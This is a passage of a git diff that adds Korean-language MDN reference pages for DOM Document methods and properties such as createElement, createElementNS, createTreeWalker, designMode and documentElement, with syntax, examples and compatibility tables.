<tr> + <td>{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td>Clarifies that the node document of the created document fragment is the context object.</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li> + <li>{{domxref("documentFragment")}}</li> +</ul> diff --git a/files/ko/web/api/document/createelement/index.html b/files/ko/web/api/document/createelement/index.html new file mode 100644 index 0000000000..6cb461eeb5 --- /dev/null +++ b/files/ko/web/api/document/createelement/index.html @@ -0,0 +1,101 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - Method + - Reference + - Web +translation_of: Web/API/Document/createElement +--- +<div>{{APIRef("DOM")}}</div> + +<p>HTML 문서에서, <strong><code>Document.createElement()</code></strong> 메서드는 지정한 <code>tagName</code>의 HTML 요소를 만들어 반환합니다. <code>tagName</code>을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.</p> + +<h2 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">구문</h2> + +<pre class="eval"><var>let element</var> = <var>document</var>.createElement(<var>tagName[, options]</var>);</pre> + +<h3 id="매개변수">매개변수</h3> + +<dl> + <dt><code>tagName</code></dt> + <dd>생성할 요소의 유형을 가리키는 문자열.</dd> + <dt><code>options</code> {{optional_inline}}</dt> + <dd><code>is</code> 속성 하나를 가진 <code>ElementCreationOptions</code> 객체. 속성의 값은 <code>customElements.define()</code>을 사용해 정의한 사용자 정의 요소입니다.</dd> +</dl> + +<h3 id="반환_값">반환 값</h3> + +<p>새로운 {{domxref("Element")}}.</p> + +<h2 id="예제" name="예제">예제</h2> + +<p>아래 예제는 새로운 <code><div></code> 엘리먼트를 생성한 후, ID가 "div1" 인 요소 이전에 추가합니다.</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><code><!DOCTYPE html> +<html> +<head> + <title>||Working with elements||</title> +</head> +<body> + <div id="div1">위의 텍스트는 동적으로 추가했습니다.</div> +</body> +</html></code></pre> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush: js"><code>document.body.onload = addElement; + +function addElement () { + // create a new div element + var newDiv = document.createElement("div"); + // and give it some content + var newContent = document.createTextNode("환영합니다!"); + // add the text node to the newly created div + newDiv.appendChild(newContent); + + // add the newly created element and its content into the DOM + var currentDiv = document.getElementById("div1"); + document.body.insertBefore(newDiv, currentDiv); +}</code></pre> + +<p>{{EmbedLiveSample("예제", 500, 50)}}</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.createElement")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{domxref("Node.removeChild()")}}</li> + <li>{{domxref("Node.replaceChild()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("Node.hasChildNodes()")}}</li> + <li>{{domxref("document.createElementNS()")}} — to explicitly specify the namespace URI for the element.</li> +</ul> diff --git a/files/ko/web/api/document/createelementns/index.html b/files/ko/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..6fee5b6d80 --- /dev/null +++ b/files/ko/web/api/document/createelementns/index.html @@ -0,0 +1,173 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +translation_of: Web/API/Document/createElementNS +--- +<div>{{ApiRef("DOM")}}</div> + +<p>지정된 네임스페이스 URI와 적합한 이름으로 엘리먼트를 만든다.</p> + +<p>네임스페이스 URI를 지정하지 않고 엘리먼트를 만들려면 <a href="createElement" title="createElement">createElement</a>메소드를 사용하라.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="brush: js"><var>var element</var> = <var>document</var>.createElementNS(<var>namespaceURI</var>, <var>qualifiedName</var>[, options]); +</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>namespaceURI</code></dt> + <dd>A string that specifies the <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">namespace URI</a> to associate with the element. The <a href="/en-US/docs/DOM/element.namespaceURI">namespaceURI</a> property of the created element is initialized with the value of <code>namespaceURI</code>. See <a href="#Valid Namespace URIs">Valid Namespace URIs</a>.</dd> + <dt><code>qualifiedName</code></dt> + <dd>A string that specifies the type of element to be created. The <a href="/en-US/docs/DOM/element.nodeName">nodeName</a> property of the created element is initialized with the value of <code>qualifiedName</code>.</dd> + <dt><code>options</code><span class="inlineIndicator optional optionalInline">Optional</span></dt> + <dd>An optional <code>ElementCreationOptions</code> object containing a single property named <code>is</code>, whose value is the tag name for a custom element previously defined using <code>customElements.define()</code>. For backwards compatibility with previous versions of the <a class="external external-icon" href="https://www.w3.org/TR/custom-elements/">Custom Elements specification</a>, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. See <a class="external external-icon" href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a> for more information on how to use this parameter.</dd> + <dd>The new element will be given an <code>is</code> attribute whose value is the custom element's tag name. Custom elements are an experimental feature only available in some browsers.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>The new <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element" title="The Element interface represents an object of a Document. This interface describes methods and properties common to all kinds of elements. Specific behaviors are described in interfaces which inherit from Element but add additional functionality."><code>Element</code></a>.</p> + +<h2 id="Example" name="Example"><a id="Valid Namespace URIs" name="Valid Namespace URIs">Valid Namespace URIs</a></h2> + +<ul> + <li>HTML - Use <code>http://www.w3.org/1999/xhtml</code></li> + <li>SVG - Use <code>http://www.w3.org/2000/svg</code></li> + <li>XBL - Use <code>http://www.mozilla.org/xbl</code></li> + <li>XUL - Use <code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></li> +</ul> + +<h2 id="Example" name="Example">Example</h2> + +<p>This creates a new <div> element in the <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> namespace and appends it to the vbox element. Although this is not an extremely useful <a href="/en-US/docs/XUL" title="XUL">XUL</a> document, it does demonstrate the use of elements from two different namespaces within a single document:</p> + +<pre class="brush:xml"><?xml version="1.0"?> +<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" + xmlns:html="http://www.w3.org/1999/xhtml" + title="||Working with elements||" + onload="init()"> + +<script type="text/javascript"><![CDATA[ + var container; + var newdiv; + var txtnode; + + function init(){ + container = document.getElementById("ContainerBox"); + newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div"); + txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild."); + newdiv.appendChild(txtnode); + container.appendChild(newdiv); + } + +]]></script> + + <vbox id='ContainerBox' flex='1'> + <html:div> + The script on this page will add dynamic content below: + </html:div> + </vbox> + +</page> +</pre> + +<div class="note"> +<p>The example given above uses inline script which is not recommended in XHTML documents. This particular example is actually an XUL document with embedded XHTML, however, the recommendation still applies.</p> +</div> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>options</code> argument</td> + <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(50)}}<sup>[2][3]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For the sake of backwards compatibility, Chrome accepts both forms.</p> + +<p>[2] See [1] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50, <code>options</code> must be an object.</p> + +<p>[3] To experiment with custom elements in Firefox, you must set the <code>dom.webcomponents.enabled</code> and <code>dom.webcomponents.customelements.enabled</code> preferences to <code>true</code>.</p> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li><a href="createElement">document.createElement</a></li> + <li><a href="createTextNode">document.createTextNode</a></li> + <li><a href="../Node/namespaceURI">Node.namespaceURI</a></li> + <li><a class="external" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li> +</ul> diff --git a/files/ko/web/api/document/createrange/index.html b/files/ko/web/api/document/createrange/index.html new file mode 100644 index 0000000000..655add378f --- /dev/null +++ b/files/ko/web/api/document/createrange/index.html @@ -0,0 +1,33 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +translation_of: Web/API/Document/createRange +--- +<div>{{APIRef("DOM")}}</div> + +<p>새 {{domxref("Range")}} 객체를 리턴합니다.</p> + +<h2 id="Syntax" name="Syntax">문법</h2> + +<pre class="syntaxbox">range = document.createRange(); +</pre> + +<p><code>range</code> 는 생성된 {{domxref("Range")}} 객체입니다.</p> + +<h2 id="Example" name="Example">예제</h2> + +<pre class="brush:js">var range = document.createRange(); + +range.setStart(startNode, startOffset); +range.setEnd(endNode, endOffset); +</pre> + +<h2 id="Notes" name="Notes">노트</h2> + +<p>Range 객체의 대부분의 메소드들은 Range 객체가 생성 된 후, 바운더리 포인트를 지정해야 사용할 수 있습니다.</p> + +<h2 id="Specification" name="Specification">명세</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li> +</ul> diff --git a/files/ko/web/api/document/createtextnode/index.html b/files/ko/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..2da7134fbb --- /dev/null +++ b/files/ko/web/api/document/createtextnode/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - DOM + - Gecko +translation_of: Web/API/Document/createTextNode +--- +<div>{{APIRef("DOM")}}</div> + +<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3> + +<p>텍스트 노드를 생성합니다.</p> + +<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3> + +<pre class="eval"><em>텍스트</em> = document.createTextNode(<em>데이터</em>); +</pre> + +<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h3> + +<ul> + <li><code>텍스트</code> 생성된 텍스트 노드입니다.</li> + <li><code>데이터</code> 텍스트 노드에 쓰여지는 문자열입니다.</li> +</ul> + +<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3> + +<pre><html> +<head> +<title>createTextNode 예제</title> + +<script type="text/javascript"> + +function addTextNode() +{ +var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. "); +var para = document.getElementById("p1"); +para.appendChild(newtext); +} + +</script> +</head> + +<body> +<div style="border: 1px solid red"> +<p id="p1">단락의 첫번째 줄.<br /></p> +</div><br /> + +<button onclick="addTextNode();">TextNode 추가하기.</button> + +</body> +</html> +</pre> + +<h3 id=".EA.B7.9C.EC.95.BD" name=".EA.B7.9C.EC.95.BD">규약</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1975348127">createTextNode </a></p> + +<p>{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "pl": "pl/DOM/document.createTextNode" } ) }}</p> diff --git a/files/ko/web/api/document/createtreewalker/index.html b/files/ko/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..3becf1e6f4 --- /dev/null +++ b/files/ko/web/api/document/createtreewalker/index.html @@ -0,0 +1,160 @@ +--- +title: Document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +tags: + - API + - DOM + - Document + - Method + - Reference +translation_of: Web/API/Document/createTreeWalker +--- +<div>{{ApiRef("Document")}}</div> + +<p><strong><code>Document.createTreeWalker()</code></strong> 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.</p> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox"><em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>[, <em>filter</em>[, <em>entityReferenceExpansion</em>]]); +</pre> + +<h3 id="매개변수">매개변수</h3> + +<dl> + <dt><code><em>root </em></code></dt> + <dd>이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.</dd> + <dt><code>whatToShow </code>{{optional_inline}}</dt> + <dd><code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 <code>unsigned long</code> 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 <code>SHOW_ALL</code> 상수를 나타내는 <code>0xFFFFFFFF</code>이다. + <table class="standard-table"> + <tbody> + <tr> + <td class="header">상수</td> + <td class="header">숫자 값</td> + <td class="header">설명</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ALL</code></td> + <td><code>-1</code> (<code>unsigned long의 최대 값</code>)</td> + <td>Shows all nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td> + <td><code>2</code></td> + <td>Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td> + <td><code>8</code></td> + <td>Shows {{domxref("CDATASection")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_COMMENT</code></td> + <td><code>128</code></td> + <td>Shows {{domxref("Comment")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT</code></td> + <td><code>256</code></td> + <td>Shows {{domxref("Document")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td> + <td><code>1024</code></td> + <td>Shows {{domxref("DocumentFragment")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td> + <td><code>512</code></td> + <td>Shows {{domxref("DocumentType")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ELEMENT</code></td> + <td><code>1</code></td> + <td>Shows {{domxref("Element")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td> + <td><code>32</code></td> + <td>Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td> + <td><code>16</code></td> + <td>Shows {{domxref("EntityReference")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td> + <td><code>2048</code></td> + <td>Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td> + <td><code>64</code></td> + <td>Shows {{domxref("ProcessingInstruction")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_TEXT</code></td> + <td><code>4</code></td> + <td>Shows {{domxref("Text")}} nodes.</td> + </tr> + </tbody> + </table> + </dd> + <dt><code>filter</code> {{optional_inline}}</dt> + <dd>선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 <code>whatToShow</code> 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 <code>acceptNode</code> 메소드를 가진 객체이다.</dd> + <dt><code>entityReferenceExpansion</code> {{optional_inline}} {{obsolete_inline}}</dt> + <dd>한 {{domxref("EntityReference")}}를 버릴 때 그 전체 하위 트리를 같이 버려야하는지를 나타내는 {{domxref("Boolean")}} 플래그이다.</dd> +</dl> + +<h3 id="반환_값">반환 값</h3> + +<p>새로운 {{domxref("TreeWalker")}} 객체.</p> + +<h2 id="예제">예제</h2> + +<p>다음 예제는 body의 모든 노드들을 순회하고, 노드의 집합을 엘리먼트로 줄이고, 단순히 각 노드를 승인하고 (대신 <code>acceptNode()</code> 메소드에서 그 집합을 줄일 수도 있다), 노드들(지금은 모두 엘리먼트지만)을 전진하기 위해 생성된 트리 워커 반복자를 이용하여 배열에 푸시한다.</p> + +<pre class="brush: js">var treeWalker = document.createTreeWalker( + document.body, + NodeFilter.SHOW_ELEMENT, + { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } }, + false +); + +var nodeList = []; + +while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode); +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">주석</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Removed the <code>expandEntityReferences</code> parameter. Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td> + <td>{{Spec2('DOM2 Traversal_Range')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.createTreeWalker")}}</p> + +<h2 id="참고">참고</h2> + +<ul> + <li>생성하는 객체의 인터페이스: {{domxref("TreeWalker")}}.</li> + <li><a href="http://msdn.microsoft.com/en-us/library/ie/ff975302(v=vs.85).aspx">createTreeWalker on MSDN</a></li> +</ul> diff --git a/files/ko/web/api/document/defaultview/index.html b/files/ko/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..de6d2c5e25 --- /dev/null +++ b/files/ko/web/api/document/defaultview/index.html @@ -0,0 +1,46 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +--- +<div>{{ApiRef}}</div> + +<p>브라우저의 <strong><code>document.defaultView</code></strong>는 {{glossary("browsing context", "문서")}}와 연결된 {{domxref("Window", "window")}} 객체를 반환합니다. 가능하지 않은 경우 {{jsxref("null")}}을 대신 반환합니다.</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<div> + + +<p>{{Compat("api.Document.defaultView")}}</p> +</div> diff --git a/files/ko/web/api/document/designmode/index.html b/files/ko/web/api/document/designmode/index.html new file mode 100644 index 0000000000..179f9dedee --- /dev/null +++ b/files/ko/web/api/document/designmode/index.html @@ -0,0 +1,50 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +translation_of: Web/API/Document/designMode +--- +<div>{{ ApiRef() }}</div> + +<p><code>document.designMode</code>는 전체 document의 편집 가능 여부를 제어합니다. 유효한 값은 <code>"on"</code> 과 <code>"off"</code> 입니다. 명세에 따르면, 이 속성은 기본적으로 <code>"off"</code>로 설정되어 있습니다. Firefox는 이 표준 명세를 따릅니다. Chrome과 IE의 초기 버전들에서는 <code>"inherit"</code> 로 설정되어 있습니다. IE6-10 브라우저에서는, 값이 대문자로 표기됩니다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush: js">var mode = document.designMode; +document.designMode = "on"; +document.designMode = "off";</pre> + +<h2 id="Example" name="Example">Example</h2> + +<p>{{HTMLElement("iframe")}}의 document를 편집 가능하게 설정합니다.</p> + +<pre>iframeNode.contentDocument.designMode = "on"; +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" style="font-size: 2.14285714285714rem;">Browser compatibility</h2> + +<p>{{Compat("api.Document.designMode")}}</p> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">designMode property</a> on MSDN</li> +</ul> diff --git a/files/ko/web/api/document/doctype/index.html b/files/ko/web/api/document/doctype/index.html new file mode 100644 index 0000000000..228c3b595d --- /dev/null +++ b/files/ko/web/api/document/doctype/index.html @@ -0,0 +1,58 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +translation_of: Web/API/Document/doctype +--- +<div>{{ApiRef("DOM")}}</div> + +<p>현재 document와 연관된 DTD(Document Type Declaration)를 반환합니다. 반환된 object는 {{domxref("DocumentType")}} 인터페이스를 구현합니다. <code>DocumentType을 작성하려면 </code>{{domxref("DOMImplementation.createDocumentType()")}}를 사용합니다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype; +</pre> + +<ul> + <li>doctype은 읽기만 가능한 property입니다.</li> +</ul> + +<h2 id="Example">Example</h2> + +<pre class="brush:js">var doctypeObj = document.doctype; + +console.log( + "doctypeObj.name: " + doctypeObj.name + "\n" + + "doctypeObj.internalSubset: " + doctypeObj.internalSubset + "\n" + + "doctypeObj.publicId: " + doctypeObj.publicId + "\n" + + "doctypeObj.systemId: " + doctypeObj.systemId +);</pre> + +<h2 id="Notes">Notes</h2> + +<p>현재 document와 연관된 DTD가 없으면, 이 property는 null을 반환합니다.</p> + +<p>DOM level 2는 document type 선언 편집을 지원하지 않습니다. (read-only)</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>{{HTMLElement("html")}} element가 없는 HTML documents문서에 대한 리턴 값이 변경되었습니다. document type을 변경할 수 있도록 정의합니다.</td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>초기 선언.</td> + </tr> + </tbody> +</table> diff --git a/files/ko/web/api/document/document/index.html b/files/ko/web/api/document/document/index.html new file mode 100644 index 0000000000..6706d05e0e --- /dev/null +++ b/files/ko/web/api/document/document/index.html @@ -0,0 +1,43 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - Constructor + - DOM + - Document + - Reference +translation_of: Web/API/Document/Document +--- +<div>{{APIRef}}</div> + +<p><strong><code>Document</code></strong> 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.</p> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">new Document()</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">코멘트</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-document','Document')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>초기 정의.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<div>{{Compat("api.Document.Document")}}</div> diff --git a/files/ko/web/api/document/documentelement/index.html b/files/ko/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..429fce87c4 --- /dev/null +++ b/files/ko/web/api/document/documentelement/index.html @@ -0,0 +1,60 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Property + - Reference + - ㅈ +translation_of: Web/API/Document/documentElement +--- +<div>{{ApiRef("DOM")}}</div> + +<p><code><strong>Document.documentElement</strong></code> 읽기 전용 속성은 <a href="/ko/docs/Web/API/Document">문서</a>의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.</p> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">const <em>element</em> = document.documentElement +</pre> + +<h2 id="예제">예제</h2> + +<pre class="brush:js">const rootElement = document.documentElement; +const firstTier = rootElement.childNodes; +// firstTier is a NodeList of the direct children of the root element +// such as <head> and <body> + +for (const child of firstTier) { + // do something with each direct child of the root element +}</pre> + +<h2 id="참고">참고</h2> + +<p>모든 비어있지 않은 HTML 문서의 <code>documentElement</code>는 항상 {{htmlelement("html")}} 요소를 가리킵니다. 모든 비어있지 않은 XML 문서의 <code>documentElement</code>는 종류불문하고 해당 